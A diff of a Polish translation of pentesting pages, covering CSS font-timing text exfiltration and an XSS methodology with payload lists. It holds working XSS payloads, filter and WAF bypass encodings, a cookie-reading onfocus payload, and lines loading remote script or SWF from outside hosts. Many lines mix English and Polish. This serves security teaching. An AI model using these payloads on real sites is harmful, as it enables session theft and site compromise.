+**Referencja:** Jest to wspomniane jako [nieudane rozwiązanie w tym writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-W tym przypadku możemy spróbować leakować, czy dany znak znajduje się w tekście, ładując fałszywą czcionkę z tej samej domeny:
+W tym przypadku możemy spróbować leak, czy dany char znajduje się w tekście poprzez załadowanie fałszywej czcionki z tego samego origin:
 ```css
 @font-face {
 font-family: "A1";
@@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
 unicode-range: U+0041;
 }
 ```
-If there is a match, the **czcionka zostanie załadowana z `/static/bootstrap.min.css?q=1`**. Chociaż nie załaduje się poprawnie, **przeglądarka powinna ją zapisać w pamięci podręcznej**, a nawet jeśli nie ma cache, istnieje mechanizm **304 not modified**, więc **odpowiedź powinna być szybsza** niż inne rzeczy.
+If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
 
-Jednak jeśli różnica czasowa między odpowiedzią z cache i tą bez cache nie jest wystarczająco duża, to nie będzie to użyteczne. Na przykład autor wspomniał: Po testach odkryłem, że pierwszy problem polega na tym, że prędkość nie różni się znacząco, a drugi problem to to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
+However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: Po testach odkryłem, że pierwszy problem polega na tym, że prędkość nie różni się znacząco, a drugi problem to to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
 
 ### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referencja:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Źródło:** Jest to wspomniane jako [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-W tym przypadku możesz wskazać **CSS do załadowania setek fałszywych czcionek** z tej samej domeny, gdy wystąpi dopasowanie. W ten sposób możesz **zmierzyć czas**, jaki to zajmuje, i sprawdzić, czy dany znak pojawia się, czy nie, używając czegoś w stylu:
+In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:
 ```css
 @font-face {
 font-family: "A1";
@@ -783,9 +783,9 @@ browser.get(url)
 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
 time.sleep(30)
 ```
-Więc jeśli czcionka nie pasuje, czas odpowiedzi podczas odwiedzania bota powinien wynosić około 30 sekund. Jednak jeśli jest dopasowanie czcionki, zostanie wysłanych wiele żądań aby pobrać czcionkę, powodując ciągłą aktywność sieciową. W rezultacie spełnienie warunku zatrzymania i otrzymanie odpowiedzi zajmie więcej czasu. Dlatego czas odpowiedzi można wykorzystać jako wskaźnik do ustalenia, czy występuje dopasowanie czcionki.
+Zatem, jeśli czcionka nie pasuje, czas odpowiedzi przy odwiedzaniu bota powinien wynosić około 30 sekund. Jeśli jednak czcionka pasuje, zostanie wysłanych wiele żądań w celu pobrania czcionki, powodując ciągłą aktywność sieci. W rezultacie spełnienie warunku zatrzymania i otrzymanie odpowiedzi zajmie więcej czasu. Dlatego czas odpowiedzi może być użyty jako wskaźnik do określenia, czy czcionka pasuje.
 
-## References
+## Źródła
 
 - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
 - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -4,63 +4,62 @@
 
 ## Metodologia
 
-1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parameters_, _path_, _headers_?, _cookies_?) jest **odzwierciedlana** w HTML lub **używana** przez **JS**.
-2. **Znajdź kontekst**, w którym jest odzwierciedlana/używana.
-3. Jeśli **odzwierciedlana**
+1. Sprawdź, czy **jakakolwiek wartość przez Ciebie kontrolowana** (_parameters_, _path_, _headers_?, _cookies_?) jest **reflektowana** w HTML lub **używana** przez **JS**.
+2. **Znajdź kontekst**, w którym jest reflektowana/używana.
+3. Jeśli **reflektowana**
 1. Sprawdź, **jakie symbole możesz użyć** i w zależności od tego przygotuj payload:
 1. W **surowym HTML**:
 1. Czy możesz tworzyć nowe tagi HTML?
-2. Czy możesz użyć eventów lub atrybutów obsługujących protokół `javascript:`?
+2. Czy możesz użyć eventów lub atrybutów wspierających protokół `javascript:`?
 3. Czy możesz obejść zabezpieczenia?
-4. Czy zawartość HTML jest interpretowana przez jakiś client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), możesz nadużyć [**Client Side Template Injection**](../client-side-template-injection-csti.md).
-5. Jeśli nie możesz tworzyć tagów HTML, które wykonują kod JS, czy możesz nadużyć [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
+4. Czy zawartość HTML jest interpretowana przez jakiś klientowy silnik JS (_AngularJS_, _VueJS_, _Mavo_...), który możesz wykorzystać poprzez [Client Side Template Injection](../client-side-template-injection-csti.md).
+5. Jeśli nie możesz stworzyć tagów HTML wykonujących JS, czy możesz wykorzystać [Dangling Markup - HTML scriptless injection](../dangling-markup-html-scriptless-injection/index.html)?
 2. Wewnątrz **tagu HTML**:
-1. Czy możesz wyjść do kontekstu surowego HTML?
-2. Czy możesz stworzyć nowe eventy/atrybuty żeby wykonać kod JS?
-3. Czy atrybut, w którym utknąłeś, obsługuje wykonanie JS?
+1. Czy możesz wyjść do surowego kontekstu HTML?
+2. Czy możesz stworzyć nowe eventy/atrybuty wykonujące JS?
+3. Czy atrybut, w którym jesteś uwięziony, wspiera wykonanie JS?
 4. Czy możesz obejść zabezpieczenia?
 3. Wewnątrz **kodu JavaScript**:
-1. Czy możesz uciec z taga `<script>`?
+1. Czy możesz uciec z tagu `<script>`?
 2. Czy możesz uciec ze stringa i wykonać inny kod JS?
-3. Czy twoje wejście znajduje się w template literals \`\`?
+3. Czy Twoje dane wejściowe są w template literals \`\`?
 4. Czy możesz obejść zabezpieczenia?
-4. Javascriptowa **funkcja** będąca **wykonywana**
+4. Funkcja Javascript jest **wykonywana**
 1. Możesz wskazać nazwę funkcji do wykonania. np.: `?callback=alert(1)`
 4. Jeśli **używane**:
-1. Możesz wykorzystać **DOM XSS**, zwróć uwagę jak twoje wejście jest kontrolowane i czy twoje **kontrolowane wejście jest używane przez jakiś sink.**
-
-Pracując nad złożonym XSS może być przydatne zapoznać się z:
+1. Możesz wykorzystać **DOM XSS**, zwróć uwagę jak Twoje dane są kontrolowane i czy Twoje **kontrolowane dane są używane przez jakiś sink.**
 
+Pracując nad złożonym XSS może Cię zainteresować:
 
 {{#ref}}
 debugging-client-side-js.md
 {{#endref}}
 
-## Wartości odzwierciedlone
+## Reflected values
 
-Aby skutecznie wykorzystać XSS, pierwszą rzeczą którą musisz znaleźć jest **wartość kontrolowana przez ciebie, która jest odzwierciedlana** na stronie.
+Aby skutecznie wykorzystać XSS, pierwszą rzeczą jaką musisz znaleźć jest **wartość kontrolowana przez Ciebie, która jest reflektowana** na stronie.
 
-- **Pośrednio odzwierciedlone**: Jeśli znajdziesz, że wartość parametru lub nawet ścieżka jest odzwierciedlana na stronie, możesz wykorzystać **Reflected XSS**.
-- **Zapisane i odzwierciedlone**: Jeśli znajdziesz, że wartość kontrolowana przez ciebie jest zapisywana na serwerze i odzwierciedlana za każdym razem gdy odwiedzasz stronę, możesz wykorzystać **Stored XSS**.
-- **Dostępne przez JS**: Jeśli znajdziesz, że wartość kontrolowana przez ciebie jest dostępna za pomocą JS, możesz wykorzystać **DOM XSS**.
+- **Intermediately reflected**: Jeśli znajdziesz, że wartość parametru lub nawet ścieżka jest reflektowana na stronie, możesz wykorzystać **Reflected XSS**.
+- **Stored and reflected**: Jeśli wartość kontrolowana przez Ciebie jest zapisywana na serwerze i jest reflektowana za każdym razem, gdy otwierasz stronę, możesz wykorzystać **Stored XSS**.
+- **Accessed via JS**: Jeśli wartość kontrolowana przez Ciebie jest dostępna przez JS, możesz wykorzystać **DOM XSS**.
 
-## Konteksty
+## Contexts
 
-Przy próbie wykorzystania XSS, pierwszą rzeczą, którą musisz wiedzieć jest **gdzie twoje wejście jest odzwierciedlane**. W zależności od kontekstu, będziesz w stanie wykonać dowolny kod JS na różne sposoby.
+Próbując wykorzystać XSS pierwszą rzeczą, którą musisz wiedzieć, jest **gdzie Twoje dane są reflektowane**. W zależności od kontekstu, będziesz mógł wykonać dowolny kod JS na różne sposoby.
 
 ### Surowy HTML
 
-Jeśli twoje wejście jest **odzwierciedlane w surowym HTML** strony, będziesz musiał nadużyć jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, których możesz użyć.\
-Również, miej na uwadze [Client Side Template Injection](../client-side-template-injection-csti.md).
+Jeśli Twoje dane są **reflektowane w surowym HTML** strony, będziesz musiał wykorzystać jakiś **tag HTML** żeby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, których możesz użyć.\
+Również pamiętaj o [Client Side Template Injection](../client-side-template-injection-csti.md).
 
 ### Wewnątrz atrybutu tagu HTML
 
-Jeśli twoje wejście jest odzwierciedlane wewnątrz wartości atrybutu tagu możesz spróbować:
+Jeśli Twoje dane są reflektowane wewnątrz wartości atrybutu taga, możesz spróbować:
 
-1. **Uciec z atrybutu i z taga** (wtedy będziesz w surowym HTML) i stworzyć nowy tag HTML do nadużycia: `"><img [...]`
-2. Jeśli **możesz uciec z atrybutu, ale nie z taga** (`>` jest kodowane lub usuwane), w zależności od taga możesz **stworzyć event**, który wykona kod JS: `" autofocus onfocus=alert(1) x="`
-3. Jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), to w zależności **którym atrybucie** twoja wartość jest odzwierciedlana i **czy kontrolujesz całą wartość czy tylko część**, będziesz w stanie to nadużyć. Na **przykład**, jeśli kontrolujesz event jak `onclick=` będziesz w stanie uruchomić dowolny kod przy kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
-4. Jeśli twoje wejście jest odzwierciedlane wewnątrz „nieeksploatowalnych tagów” możesz spróbować sztuczki z **`accesskey`**, aby nadużyć podatność (będziesz potrzebować pewnego rodzaju social engineeringu, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
+1. **Uciec z atrybutu i z taga** (wtedy znajdziesz się w surowym HTML) i stworzyć nowy tag HTML do wykorzystania: `"><img [...]`
+2. Jeśli **możesz uciec z atrybutu, ale nie z taga** (`>` jest kodowany lub usuwany), w zależności od taga możesz **stworzyć event**, który wykona kod JS: `" autofocus onfocus=alert(1) x="`
+3. Jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), to w zależności **który atrybut** zawiera Twoją wartość oraz czy kontrolujesz całość wartości czy tylko jej część, będziesz w stanie to wykorzystać. Na **przykład**, jeśli kontrolujesz event taki jak `onclick=` będziesz w stanie wykonać dowolny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
+4. Jeśli Twoje dane są reflektowane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować triku z **`accesskey`** aby wykorzystać vuln (będziesz potrzebować pewnej formy social engineeringu): **`" accesskey="x" onclick="alert(1)" x="`**
 
 Dziwny przykład Angular wykonującego XSS jeśli kontrolujesz nazwę klasy:
 ```html
@@ -70,15 +69,15 @@ Dziwny przykład Angular wykonującego XSS jeśli kontrolujesz nazwę klasy:
 ```
 ### W kodzie JavaScript
 
-W tym przypadku Twoje dane wejściowe są odzwierciedlane pomiędzy **`<script> [...] </script>`** tagami strony HTML, wewnątrz pliku `.js` lub wewnątrz atrybutu używającego protokołu **`javascript:`**:
+W tym przypadku Twoje dane wejściowe są odzwierciedlane pomiędzy **`<script> [...] </script>`** tagami strony HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**:
 
-- Jeśli odzwierciedlane jest pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli Twoje dane wejściowe znajdują się w jakichkolwiek cudzysłowach, możesz spróbować wstrzyknąć `</script>` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw parsuje tagi HTML**, a dopiero potem zawartość; w związku z tym nie zauważy, że wstrzyknięty tag `</script>` znajduje się wewnątrz kodu HTML.
-- Jeśli odzwierciedlane jest **wewnątrz JS stringa** i poprzedni trik nie działa, musisz **wyjść** z łańcucha (stringa), **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi jakikolwiek błąd, nie zostanie on wykonany):
+- Jeśli jest odzwierciedlane pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli Twoje dane są wewnątrz jakiegokolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw sparsuje tagi HTML**, a dopiero potem ich zawartość, w związku z czym nie zauważy, że wstrzyknięty `</script>` znajduje się w kodzie HTML.
+- Jeśli jest odzwierciedlane **inside a JS string** i poprzedni trik nie działa, będziesz musiał **opuścić** string, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi jakikolwiek błąd, nie zostanie on wykonany):
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Jeśli odzwierciedlane jest wewnątrz template literals możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode encode** works to write **valid javascript code**:
+- Jeśli jest odzwierciedlane wewnątrz template literals możesz **embed JS expressions** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
+- **Kodowanie Unicode** umożliwia zapisanie **prawidłowego kodu JavaScript**:
 ```javascript
 alert(1)
 alert(1)
@@ -86,8 +85,8 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting odnosi się do możliwości **zadeklarowania functions, variables lub classes po ich użyciu, dzięki czemu możesz wykorzystać scenariusze, w których XSS używa undeclared variables lub functions.**\
-**Więcej informacji na następującej stronie:**
+Javascript Hoisting odnosi się do możliwości **zadeklarowania funkcji, zmiennych lub klas po ich użyciu, co pozwala nadużywać scenariuszy, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\
+**Sprawdź następującą stronę po więcej informacji:**
 
 
 {{#ref}}
@@ -96,19 +95,19 @@ js-hoisting.md
 
 ### Javascript Function
 
-Wiele stron ma endpoints, które **przyjmują jako parametr nazwę function do wykonania**. Częstym przykładem spotykanym w praktyce jest coś takiego: `?callback=callbackFunc`.
+Wiele stron ma endpointy, które **przyjmują jako parametr nazwę funkcji do wykonania**. Częstym przykładem spotykanym w praktyce jest coś w stylu: `?callback=callbackFunc`.
 
-Dobry sposób, by sprawdzić, czy coś podane bezpośrednio przez użytkownika jest próbą wykonania, to **zmodyfikować wartość parametru** (np. na 'Vulnerable') i sprawdzić w console, czy pojawią się błędy takie jak:
+Dobrym sposobem, aby sprawdzić, czy coś przekazanego bezpośrednio przez użytkownika jest próbowane wykonać, jest **zmodyfikowanie wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów takich jak:
 
 ![](<../../images/image (711).png>)
 
-Jeśli jest podatne, możesz być w stanie **uruchomić alert** po prostu wysyłając wartość: **`?callback=alert(1)`**. Jednak często te endpoints **walidują zawartość**, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
+Jeśli jest podatne, możesz być w stanie **wywołać alert** po prostu wysyłając wartość: **`?callback=alert(1)`**. Jednak często takie endpointy **weryfikują zawartość**, aby pozwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
 
-Jednak nawet przy tym ograniczeniu nadal można wykonać pewne działania. Wynika to z tego, że możesz użyć tych dozwolonych znaków, aby uzyskać dostęp do dowolnego elementu w DOM:
+Nawet z tym ograniczeniem nadal można wykonać pewne akcje. Dzieje się tak, ponieważ możesz użyć dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
 
 ![](<../../images/image (747).png>)
 
-Kilka przydatnych funkcji do tego:
+Przydatne funkcje do tego:
 ```
 firstElementChild
 lastElementChild
@@ -116,11 +115,11 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-Możesz także spróbować bezpośrednio **wywołać funkcje Javascript**: `obj.sales.delOrders`.
+Możesz też spróbować **trigger Javascript functions** bezpośrednio: `obj.sales.delOrders`.
 
-Jednak zazwyczaj endpointy wykonujące wskazaną funkcję to endpointy bez ciekawego DOM, **inne strony w tej samej origin** będą miały **bardziej interesujący DOM** do przeprowadzenia większej liczby akcji.
+Jednak zazwyczaj endpoints wykonujące wskazaną funkcję to endpoints bez zbyt interesującego DOM, **other pages in the same origin** będą miały **more interesting DOM** do wykonania większej liczby akcji.
 
-Dlatego, aby **nadużyć tej podatności w innym DOM** opracowano eksploatację **Same Origin Method Execution (SOME)**:
+W związku z tym, aby **abuse this vulnerability in a different DOM** opracowano exploitację **Same Origin Method Execution (SOME)**:
 
 
 {{#ref}}
@@ -129,7 +128,7 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Istnieje **JS code**, który **niewłaściwie** wykorzystuje dane **kontrolowane przez atakującego**, takie jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.
+Istnieje **JS code**, który w niebezpieczny sposób używa pewnych **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.
 
 
 {{#ref}}
@@ -138,8 +137,8 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Ten typ XSS może występować **wszędzie**. Nie zależą one tylko od exploitacji klienta aplikacji webowej, ale od **dowolnego** **kontekstu**. Ten rodzaj **arbitrary JavaScript execution** może nawet zostać wykorzystany do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach, i innych możliwości.\
-Niektóre **przykłady**:
+Ten rodzaj XSS może występować **anywhere**. Nie zależą one tylko od eksploatacji po stronie klienta aplikacji webowej, lecz od **any** **context**. Ten rodzaj **arbitrary JavaScript execution** może być nawet wykorzystany do uzyskania **RCE**, **read** **arbitrary** **files** na klientach i serwerach, i więcej.\
+Some **examples**:
 
 
 {{#ref}}
@@ -157,11 +156,11 @@ server-side-xss-dynamic-pdf.md
 
 ## Injecting inside raw HTML
 
-Gdy Twoje wejście jest odzwierciedlane **wewnątrz strony HTML** lub możesz w tym kontekście uciec i wstrzyknąć kod HTML, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz nadużyć `<` do tworzenia nowych tagów: po prostu spróbuj **odbić** ten **znak** i sprawdź, czy jest **HTML encoded**, **usuwany**, czy **odbijany bez zmian**. **Tylko w ostatnim przypadku będziesz w stanie to wykorzystać**.\
-W takich przypadkach również **miej na uwadze** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Uwaga: Komentarz HTML można zamknąć używając\*\***\***\*`-->`\*\***\***\*lub \*\***`--!>`\*\***\***\*_
+Gdy Twój input jest odzwierciedlany **inside the HTML page** lub możesz w tym kontekście uciec i wstrzyknąć kod HTML, **pierwsza** rzecz, którą musisz zrobić, to sprawdzić, czy możesz nadużyć `<`, aby stworzyć nowe tagi: Po prostu spróbuj **reflect** tego **char** i sprawdź, czy jest **HTML encoded** lub **deleted** albo czy jest **reflected without changes**. **Tylko w ostatnim przypadku będziesz mógł to wykorzystać**.\
+W takich przypadkach także **pamiętaj** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
 
-W tym przypadku, i jeśli nie stosuje się black/whitelisting, możesz użyć payloadów takich jak:
+W tym przypadku i jeśli nie są stosowane żadne black/whitelisting, możesz użyć payloadów takich jak:
 ```html
 <script>
 alert(1)
@@ -169,22 +168,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.\
-Once you have **zlokalizowane które tagi są dozwolone**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context.
+Ale jeśli stosowane jest tags/attributes black/whitelisting, będziesz musiał **brute-force, które tagi** możesz utworzyć.\
+Gdy **zlokalizujesz, które tagi są dozwolone**, będziesz musiał **brute-force atrybuty/zdarzenia** wewnątrz znalezionych poprawnych tagów, aby sprawdzić, jak możesz zaatakować kontekst.
 
-### Tags/Events brute-force
+### Tagi/Zdarzenia brute-force
 
-Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
+Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij _**Copy tags to clipboard**_. Następnie wyślij wszystkie za pomocą Burp intruder i sprawdź, czy któryś z tagów nie został wykryty jako złośliwy przez WAF. Gdy odkryjesz, których tagów możesz użyć, możesz **brute-force wszystkie zdarzenia** używając dozwolonych tagów (na tej samej stronie kliknij _**Copy events to clipboard**_ i wykonaj tę samą procedurę co wcześniej).
 
-### Custom tags
+### Niestandardowe tagi
 
-If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
+Jeśli nie znalazłeś żadnego poprawnego tagu HTML, możesz spróbować **utworzyć niestandardowy tag** i wykonać kod JS za pomocą atrybutu `onfocus`. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **ustawiła focus na tym obiekcie** i **wykonała** kod:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 ### Blacklist Bypasses
 
-Jeśli używana jest jakaś blacklist, możesz spróbować ją obejść za pomocą kilku prostych sztuczek:
+Jeśli używana jest jakaś blacklist, możesz spróbować ją obejść kilkoma prostymi sztuczkami:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -241,24 +240,24 @@ onerror=alert`1`
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-Ostatni używa 2 znaków unicode, które rozkładają się na 5: telsr\
-Więcej takich znaków można znaleźć [here](https://www.unicode.org/charts/normalization/).\
-Aby sprawdzić, na jakie znaki są rozkładane, sprawdź [here](https://www.compart.com/en/unicode/U+2121).
+Ostatni używa 2 unicode znaków, które rozwijają się do 5: telsr\
+More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
+Aby sprawdzić, na które znaki są dekomponowane sprawdź [here](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
 
-Jeśli, aby wykorzystać podatność, potrzebujesz, aby **user kliknął link lub formularz** z wstępnie wypełnionymi danymi, możesz spróbować [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (o ile strona jest podatna).
+If in order to exploit the vulnerability you need the **użytkownik kliknął w link lub formularz** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
 
 ### Niemożliwe - Dangling Markup
 
-Jeśli uważasz, że **niemożliwe jest utworzenie tagu HTML z atrybutem, który wykona kod JS**, powinieneś sprawdzić [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)because możesz **wykorzystać** podatność **bez** wykonywania **JS**.
+Jeśli po prostu myślisz, że **stworzenie tagu HTML z atrybutem uruchamiającym kod JS jest niemożliwe**, powinieneś sprawdzić [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)ponieważ możesz **exploit** the vulnerability **without** executing **JS** code.
 
-## Wstrzykiwanie wewnątrz tagu HTML
+## Injecting inside HTML tag
 
-### Wewnątrz tagu/ucieczka z wartości atrybutu
+### Inside the tag/escaping from attribute value
 
-Jeśli znajdujesz się **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **uciec** z tagu i użyć niektórych technik wymienionych w [previous section](#injecting-inside-raw-html) aby wykonać kod JS.\
-Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając payloadu takiego jak (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
+If you are in **wewnątrz tagu HTML**, the first thing you could try is to **uciec** z tagu and use some of the techniques mentioned in the [previous section](#injecting-inside-raw-html) to execute JS code.\
+If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -273,16 +272,16 @@ Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz t
 #moving your mouse anywhere over the page (0-click-ish):
 <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
 ```
-### W obrębie atrybutu
+### W atrybucie
 
-Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowany lub usuwany), w zależności od **którego atrybutu** wartość jest odzwierciedlana oraz **czy kontrolujesz całą wartość czy tylko jej część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=` będziesz w stanie sprawić, że wykona ono dowolny kod po kliknięciu.\
-Innym ciekawym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
+Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowany lub usuwany), w zależności od **którego atrybutu** wartość jest odzwierciedlana oraz czy kontrolujesz całą wartość czy tylko jej część, będziesz w stanie to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=` będziesz w stanie sprawić, że wykona dowolny kod po kliknięciu.\
+Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
 
-**Omijanie wewnątrz zdarzenia używając HTML encoding/URL encode**
+**Bypass inside event using HTML encoding/URL encode**
 
-Znaki **HTML encoded characters** wewnątrz wartości atrybutów tagów HTML są **dekodowane w runtime**. Dlatego coś takiego będzie poprawne (payload jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+**Znaki zakodowane w HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego będzie poprawne (payload jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-Uwaga, że **dowolny rodzaj kodowania HTML będzie działać**:
+Zauważ, że **dowolny rodzaj kodowania HTML jest obsługiwany**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -299,11 +298,11 @@ Uwaga, że **dowolny rodzaj kodowania HTML będzie działać**:
 <a href="&#106;avascript:alert(2)">a</a>
 <a href="jav&#x61script:alert(3)">a</a>
 ```
-**Zwróć uwagę, że URL encode również zadziała:**
+**Zauważ, że URL encode również zadziała:**
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Bypass wewnątrz eventu używając Unicode encode**
+**Bypass wewnątrz zdarzenia przy użyciu Unicode encode**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@@ -333,7 +332,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Miejsca, w których możesz wstrzykiwać te protokoły**
 
-**Ogólnie** protokół `javascript:` może być **używany w dowolnym tagu, który akceptuje atrybut `href`** oraz w **większości** tagów, które akceptują **atrybut `src`** (ale nie `<img>`)
+**Ogólnie** protokół `javascript:` może być **użyty w dowolnym tagu, który akceptuje atrybut `href`** i w **większości** tagów, które akceptują **atrybut `src`** (ale nie w `<img>`)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -353,23 +352,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**Inne triki obfuskacyjne**
+**Inne obfuscation tricks**
 
